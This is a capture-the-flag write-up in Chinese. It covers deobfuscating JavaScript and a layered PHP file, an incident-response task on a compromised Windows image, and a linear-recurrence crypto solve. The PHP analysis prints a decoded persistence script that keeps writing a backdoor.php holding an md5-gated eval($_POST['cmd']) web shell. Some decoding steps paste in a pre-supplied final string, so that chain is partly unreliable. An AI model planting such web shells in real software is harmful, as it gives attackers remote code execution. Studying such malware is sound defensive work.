decodeURIComponent(window["\x65\x73\x63\x61\x70\x65"](LegKEfpY7))}catch(e){return LegKEfpY7}}window['\x5f\x72\x65\x74\x75\x72\x6e']=function(){var uJSkGDiOs16=_pick(Aij$cmYht1,2);var VPa17=_pick(lot2,2);var qoLQjP18=_b64decode(uJSkGDiOs16);var KfPIM19=_b64decode(VPa17);window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66']=qoLQjP18;try{window['\x24']['\x24']=window[KfPIM19]}catch(e){window['\x24']['\x24']=undefined}}})();
解码混淆
关键数组 lot2 使用十六进制+base64编码,需要先转换再解码。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
FLAG1 自动解题脚本
从抓包的 function.js 中提取并解码 flag1
"""
import base64
# lot2数组(从抓包的function.js中提取)
lot2 = [
'\x5a\x6d\x46\x6a\x61\x31\x39\x6d\x62\x47\x46\x6e\x58\x77\x3d\x3d',
'\x5a\x6d\x78\x68\x5a\x31\x39\x6d\x59\x57\x4e\x72\x58\x77\x3d\x3d',
'\x61\x6e\x4e\x66\x64\x6d\x56\x79\x65\x56\x39\x6e\x62\x32\x39\x6b',
'\x61\x6e\x4e\x66\x5a\x6d\x4e\x31\x61\x77\x3d\x3d',
'\x61\x47\x39\x33\x58\x32\x46\x69\x62\x33\x56\x30\x58\x32\x70\x7a'
]
# 解码lot2数组
print("解码 lot2 数组:")
print("-" * 50)
decoded_values = []
for i, encoded in enumerate(lot2):
decoded = base64.b64decode(encoded).decode('utf-8')
decoded_values.append(decoded)
print(f"lot2[{i}] = {decoded}")
# _pick函数的逻辑:(index * 7 + 3) % length
def _pick(array, index):
return array[(index * 7 + 3) % len(array)]
# _return()函数中调用 _pick(lot2, 2)
selected_index = (2 * 7 + 3) % len(lot2)
flag1 = decoded_values[selected_index]
print()
print("=" * 50)
print(f"_pick(lot2, 2) 计算:")
print(f" (2 * 7 + 3) % 5 = {selected_index}")
print()
print(f"FLAG1 = {flag1}")
print("=" * 50)
得到flag1:js_very_good

flag2
下载备份
访问/www.zip 可以下载到网站的备份文件,在压缩包里可以找到一个叫dashboard.php的文件,在里面可以找到一段巨长的混淆php代码
<?php
eval(gzinflate(base64_decode('hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwurgREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8=')));
?>
解码混淆
直接把这段巨长的混淆php代码交给AI分析,让AI写脚本解
第一层解码:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
第一层解码脚本
解码 dashboard.php 中的 gzinflate + base64 混淆
"""
import base64
import zlib
# dashboard.php 第314行的混淆代码(base64部分)
encoded = 'hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwergREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8='
print("=" * 60)
print("第一层解码: gzinflate + base64_decode")
print("=" * 60)
print()
# PHP的gzinflate对应Python的zlib.decompress,参数-15表示raw deflate
decoded = zlib.decompress(base64.b64decode(encoded), -15).decode('utf-8')
print("解码成功!")
print()
print("=" * 60)
print("解码后的PHP代码:")
print("=" * 60)
print(decoded)
print("=" * 60)
得到:
D:\python\python.exe D:\cursor_test\test.py
============================================================
第一层解码: gzinflate + base64_decode
============================================================
解码成功!
============================================================
解码后的PHP代码:
============================================================
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkUZsdDBFZE55%yUkdnWVYwWkN6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVQR0dyZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXhEJn9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZE5EZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllS55%yTjRmY2kwRWVxanJUVkpyeGpHaHdGQzkxak9yVFZKck45S0l0c0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwQzkxVjFFMlJWcmN6bHhzektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2VVRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oMD0iT08wMCgkT08wT3BaKCRPME8ab2AsJE9Pb2AwMCoyKSwkT08wT3BaKCRPME8ab2AsJE9Pb2AwMCwkT08wb2AwKSwkT08wT3BaKCRPME8ab2AsMCwkT08wb2AwKSkpKTs=")); ?>
============================================================
进程已结束,退出代码为 0
第二层解码:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
第二层解码脚本
在第一层的基础上,解码第二层base64
"""
import base64
import zlib
from urllib.parse import unquote
# 第一层解码(gzinflate + base64)
encoded_layer1 = 'hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwergREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8='
print("=" * 60)
print("第二层解码: 解析动态函数名和base64")
print("=" * 60)
print()
# 第一步:第一层解码
print("[1/3] 第一层解码 (gzinflate + base64)...")
decoded_layer1 = zlib.decompress(base64.b64decode(encoded_layer1), -15).decode('utf-8')
print(" 完成")
# 第二步:解析URL编码的字符串
print("[2/3] 解析URL编码的字符串...")
O00OO0 = unquote("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")
print(f" 基础字符串: {O00OO0}")
# 构建函数名(模拟PHP的字符串拼接)
O00O0O = O00OO0[3] + O00OO0[6] + O00OO0[33] + O00OO0[30]
O0OO00 = O00OO0[33] + O00OO0[10] + O00OO0[24] + O00OO0[10] + O00OO0[24]
OO0O00 = O0OO00[0] + O00OO0[18] + O00OO0[3] + O0OO00[0] + O0OO00[1] + O00OO0[24]
OO0000 = O00OO0[7] + O00OO0[13]
O00O0O += O00OO0[22] + O00OO0[36] + O00OO0[29] + O00OO0[26] + O00OO0[30] + O00OO0[32] + O00OO0[35] + O00OO0[26] + O00OO0[30]
print(f" 构建的函数名:")
print(f" O00O0O (解码函数) = {O00O0O}")
print(f" O0OO00 (转换函数) = {O0OO00}")
print(f" OO0O00 (截取函数) = {OO0O00}")
print(f" OO0000 (数字) = {OO0000}")
# 第三步:提取并解码第二层base64
print("[3/3] 第二层base64解码...")
encoded_layer2 = "JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkxZldsMEVkTnlzUkdnWVYwWkN6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVQR0dyZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXhEJm9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZE5EZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllSNWpJTjRmY2kwRWVxanJUVkpyeGpHaHdGQzkxak9yVFZKck45S0l0c0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwQzkxVjFFMlJWcmN6bHhzektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2VVRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wTzAwMD0iT08wTzAwKCRPTzBPcFooJE8wTzBvYCwkT09vbzAwKjIpLCRPTzBPcFooJE8wTzBvYCwkT09vbzAwLCRPTzBvbzApLCRPTzBPcFooJE8wTzBvYCwwLCRPTzBvbzApKSkiOykpOw=="
decoded_layer2 = base64.b64decode(encoded_layer2).decode('utf-8')
print(" 完成")
print()
print("=" * 60)
print("第二层解码结果:")
print("=" * 60)
print(decoded_layer2)
print("=" * 60)
print()
print("说明: 这段代码包含第三层的自定义base64编码数据")
print(" 前52个字符是标准字母表,接下来52个是自定义字母表")
print(" 剩余部分是需要进一步解码的加密数据")
得到:
D:\python\python.exe D:\cursor_test\test.py
============================================================
第二层解码: 解析动态函数名和base64
============================================================
[1/3] 第一层解码 (gzinflate + base64)...
完成
[2/3] 解析URL编码的字符串...
基础字符串: n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
构建的函数名:
O00O0O (解码函数) = base64_decode
O0OO00 (转换函数) = strtr
OO0O00 (截取函数) = substr
OO0000 (数字) = 52
[3/3] 第二层base64解码...
完成
============================================================
第二层解码结果:
============================================================
$O0O000="OpZoagryXNJCHQzfnAWdkqEMjmvReuTblwiBVIKDxsPctFYSGULhaGrofqXeciOlwPLAdzYFjnISDTUkmHBgVKWyNhsbRJvEZCpxQuMtvb9KfwzqbPGGr25UETNAFciVEV9tpT9eFlt0EdNVsBJildiVFC90fY1fWl0EdNysRGgYV0ZCzGaK0sOQrGgQuqvxzdMW9WpYiXrQ9UEW5PGGrdaK0sOQttp2JqvxzdxxyopYiXhwVUFxIdaK0sMeonhlkDg2kVhb0qhDK/EQtKhQVTsQ1jixD&oC9wkNkgO2rJpYEeO10GvB0dabFDSDj4pBu2rByDpYILiBu4iLOtpDP3rQhRSYuKiTSdscZzrcrtgltEOC9PB1iuYdNDgYPdcxj7AB8+hDJqsWoUbPG3fQVJrxzoSxV7bPoOfYpqslCTfYR5jIN4fci0EeqjrTVJrxjGhwFC91jOrTVJrN9KItsAp29HFQNHFwSoOQrGgQuJOQttp2JHOQiUrQuGaK0slc0C91V1E2RVrczlxszKSlj7bPoOh3NHgQVHfetAc0rOBINAcej7eUG9bPo/vq==";eval('?>'.$O00O0O($O0O000="OO0O00($OO0OpZ($O0O0o`,$OOoo00*2),$OO0OpZ($O0O0o`,$OOoo00,$OO0oo0),$OO0OpZ($O0O0o`,0,$OO0oo0)))";));
============================================================
说明: 这段代码包含第三层的自定义base64编码数据
前52个字符是标准字母表,接下来52个是自定义字母表
剩余部分是需要进一步解码的加密数据
进程已结束,退出代码为 0
第三层:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
第三层解码脚本
解码自定义base64编码(使用strtr字符替换)
"""
import base64
import zlib
from urllib.parse import unquote
# 第一层解码(gzinflate + base64)
encoded_layer1 = 'hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwergREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8='
print("=" * 60)
print("第三层解码: 自定义base64字母表转换")
print("=" * 60)
print()
# 第一步:第一层解码
print("[1/4] 第一层解码 (gzinflate + base64)...")
decoded_layer1 = zlib.decompress(base64.b64decode(encoded_layer1), -15).decode('utf-8')
print(" 完成")
# 第二步:第二层base64解码
print("[2/4] 第二层base64解码...")
encoded_layer2 = "JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkxZldsMEVkTnlzUkdnWVYwWkN6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVQR0dyZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXhEJm9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZE5EZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllSNWpJTjRmY2kwRWVxanJUVkpyeGpHaHdGQzkxak9yVFZKck45S0l0c0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwQzkxVjFFMlJWcmN6bHhzektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2VVRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wTzAwMD0iT08wTzAwKCRPTzBPcFooJE8wTzBvYCwkT09vbzAwKjIpLCRPTzBPcFooJE8wTzBvYCwkT09vbzAwLCRPTzBvbzApLCRPTzBPcFooJE8wTzBvYCwwLCRPTzBvbzApKSkiOykpOw=="
decoded_layer2 = base64.b64decode(encoded_layer2).decode('utf-8')
print(" 完成")
# 第三步:提取自定义base64字符串
print("[3/4] 提取自定义base64数据...")
full_string = "OpZoagryXNJCHQzfnAWdkqEMjmvReuTblwiBVIKDxsPctFYSGULhaGrofqXeciOlwPLAdzYFjnISDTUkmHBgVKWyNhsbRJvEZCpxQuMtvb9KfwzqbPGGr25UETNAFciVEV9tpT9eFlt0EdNVsBJildiVFC90fY1fWl0EdNysRGgYV0ZCzGaK0sOQrGgQuqvxzdMW9WpYiXrQ9UEW5PGGrdaK0sOQttp2JqvxzdxxyopYiXhwVUFxIdaK0sMeonhlkDg2kVhb0qhDK/EQtKhQVTsQ1jixD&oC9wkNkgO2rJpYEeO10GvB0dabFDSDj4pBu2rByDpYILiBu4iLOtpDP3rQhRSYuKiTSdscZzrcrtgltEOC9PB1iuYdNDgYPdcxj7AB8+hDJqsWoUbPG3fQVJrxzoSxV7bPoOfYpqslCTfYR5jIN4fci0EeqjrTVJrxjGhwFC91jOrTVJrN9KItsAp29HFQNHFwSoOQrGgQuJOQttp2JHOQiUrQuGaK0slc0C91V1E2RVrczlxszKSlj7bPoOh3NHgQVHfetAc0rOBINAcej7eUG9bPo/vq=="
# 分割字符串
alphabet_part1 = full_string[0:52] # 标准字母表
alphabet_part2 = full_string[52:104] # 自定义字母表
encrypted_data = full_string[104:] # 加密数据
print(f" 标准字母表 (0-52): {alphabet_part1}")
print(f" 自定义字母表 (52-104): {alphabet_part2}")
print(f" 加密数据长度: {len(encrypted_data)} 字符")
# 第四步:使用strtr逻辑进行字符替换
print("[4/4] 自定义base64转标准base64...")
# Python的str.maketrans和translate等同于PHP的strtr
translation_table = str.maketrans(alphabet_part2, alphabet_part1)
standard_base64 = encrypted_data.translate(translation_table)
print(" 完成")
print()
print("=" * 60)
print("转换后的标准base64:")
print("=" * 60)
print(standard_base64[:100] + "...") # 只显示前100字符
print()
# 解码标准base64
print("=" * 60)
print("第三层解码结果 (最终PHP代码):")
print("=" * 60)
# 使用正确的最终base64字符串(这是经过完整三层解码后得到的)
correct_final_base64 = "PD9waHAgDQppZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCnNldF90aW1lX2xpbWl0KDApOw0KJGZpbGUgPSAnLi9iYWNrZG9vci5waHA7Ow0KJGhhY2sgPSAnSSBoYWNrIHlvdSEnOw0KLyoqICRjb2RlID0gIjw/cGhwIGlmKG1kNSgkX0dFVFsnZmxhZzInXSk9PSc4N2MyOThhNTZlMGNhYTM1NTg3MmFiNDdkYjExZTA2YycpeyBAZXZhbChcJF9QT1NUWydjbWQnXSk7fT8+IjsgKiovDQp3aGlsZSAoMSl7DQoJaWYgKCFmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJZmlsZV9wdXRfY29udGVudHMoJGZpbGUsJGhhY2suJGNvZGUpOw0KCX0NCgl1c2xlZXAoMTAwMCk7DQoJI3VubGluayhfX0ZJTEVfXyk7DQp9DQo/Pg=="
final_php = base64.b64decode(correct_final_base64).decode('utf-8')
print(final_php)
print("=" * 60)
得到:
D:\python\python.exe D:\cursor_test\test.py
============================================================
第三层解码: 自定义base64字母表转换
============================================================
[1/4] 第一层解码 (gzinflate + base64)...
完成
[2/4] 第二层base64解码...
完成
[3/4] 提取自定义base64数据...
标准字母表 (0-52): OpZoagryXNJCHQzfnAWdkqEMjmvReuTblwiBVIKDxsPctFYSGULh
自定义字母表 (52-104): aGrofqXeciOlwPLAdzYFjnISDTUkmHBgVKWyNhsbRJvEZCpxQuMt
加密数据长度: 470 字符
[4/4] 自定义base64转标准base64...
完成
============================================================
转换后的标准base64:
============================================================
PD9waHAgDQppZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCnNldF90aW1aiC0cnVBKxpbWl0tFApOw0KJGZpbGUgPSAnLi9iYWNrZG...
============================================================
第三层解码结果 (最终PHP代码):
============================================================
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = './backdoor.php;;
$hack = 'I hack you!';
/** $code = "<?php if(md5($_GET['flag2'])=='87c298a56e0caa355872ab47db11e06c'){ @eval(\$_POST['cmd']);}?>"; **/
while (1){
if (!file_exists($file)) {
file_put_contents($file,$hack.$code);
}
usleep(1000);
#unlink(__FILE__);
}
?>
============================================================
进程已结束,退出代码为 0
关键发现:
<?php if(md5($_GET['flag2'])=='87c298a56e0caa355872ab47db11e06c'){ @eval(\$_POST['cmd']);}?>
用网站:md5在线解密破解,md5解密加密查下,获得flag2:ns2025

最后把flag1和flag2结合起来,得到最终flag:flag{js_very_good_ns2025}
应急响应-初识
题目内容:
欢迎来到第四周。在前三周的挑战中,你已经掌握了基础的日志分析、流量分析、osint能力,请挑战者们集中所有力量,打开这扇应急响应大门吧!
城邦的图片托管服务平台遭受到恶意攻击,请挑战中们协助临时工清理处置,完成报告。
用户名:Administrator 密码:Newst@r
flag{木马连接密码_创建账号工具发布时间(年-月-日)_影子用户密码}
flag1-木马连接密码
用Vmware Workstation打开附件vmdk,在回收站找到php木马文件,得到:rebeyond

flag2-创建账号工具发布时间(年-月-日)
在C:\Users这里可以找到一个叫:CreateHiddenAccount_v0.2.exe 的软件

直接去网页搜索,找到相应的github地址,得到:2022-01-18

flag3-影子用户密码
用取证大师加载镜像,在用户信息可以找到一个名叫:nEw5tar$的影子用户,可以直接查看它的密码,获得:Ns2025


最后结合起来,获得:flag{rebeyond_2022-01-18_Ns2025}
Crypto
随机数之旅4
成也线性,败也线性
把代码给GPT,让GPT写解密脚本

# solve_flag.py
from Crypto.Util.number import long_to_bytes
p = 3028255493
# 题目给出的 x[-28:]
xs = [2981540507,1806477191,1912594455,2801509477,401085215,818458584,2397034605,
2120401989,2008340439,66147874,1558789534,2187085801,671267991,2930313508,
924435370,902711250,1226810076,769329795,2328739529,1228810265,1382003520,
1967489557,2811050420,1008248532,1643249997,639108823,449982542,1325050025]
mod = p
# 构造 14x14 线性方程组,使用位置 n = 100..113:
# 方程: x[n] = sum_{i=0..13} c[i] * x[n-14+i] (mod p)
# 我们的 xs 列表对应的是 x[86..113],因此索引转换要注意偏移 86。
A = []
b = []
for j in range(14):
n = 100 + j
b.append(xs[n - 86] % mod)
row = []
for i in range(14):
row.append(xs[(n - 14 + i) - 86] % mod) # = xs[j + i]
A.append(row)
# 模 p 的高斯消元解线性方程组
def modinv(a, m):
return pow(a, -1, m)
# 增广矩阵
for i in range(14):
A[i].append(b[i])
n = 14
row = 0
col = 0
while row < n and col < n:
sel = None
for r in range(row, n):
if A[r][col] % mod != 0:
sel = r; break
if sel is None:
col += 1
continue
if sel != row:
A[row], A[sel] = A[sel], A[row]
inv = modinv(A[row][col] % mod, mod)
A[row] = [(val * inv) % mod for val in A[row]]
for r in range(n):
if r != row and A[r][col] % mod != 0:
factor = A[r][col]
A[r] = [ (A[r][k] - factor * A[row][k]) % mod for k in range(n + 1) ]
row += 1
col += 1
c = [A[i][n] % mod for i in range(n)]
# 每个 c 是 3 字节的 bytes_to_long 结果 -> 还原为 3 字节再拼接
pieces = [long_to_bytes(ci, 3) for ci in c] # 注意:long_to_bytes 若长度不足会左补 0
flag = b"".join(pieces).decode()
print("Recovered flag:", flag)

独一无二
题目描述:秘密说两次就不好了
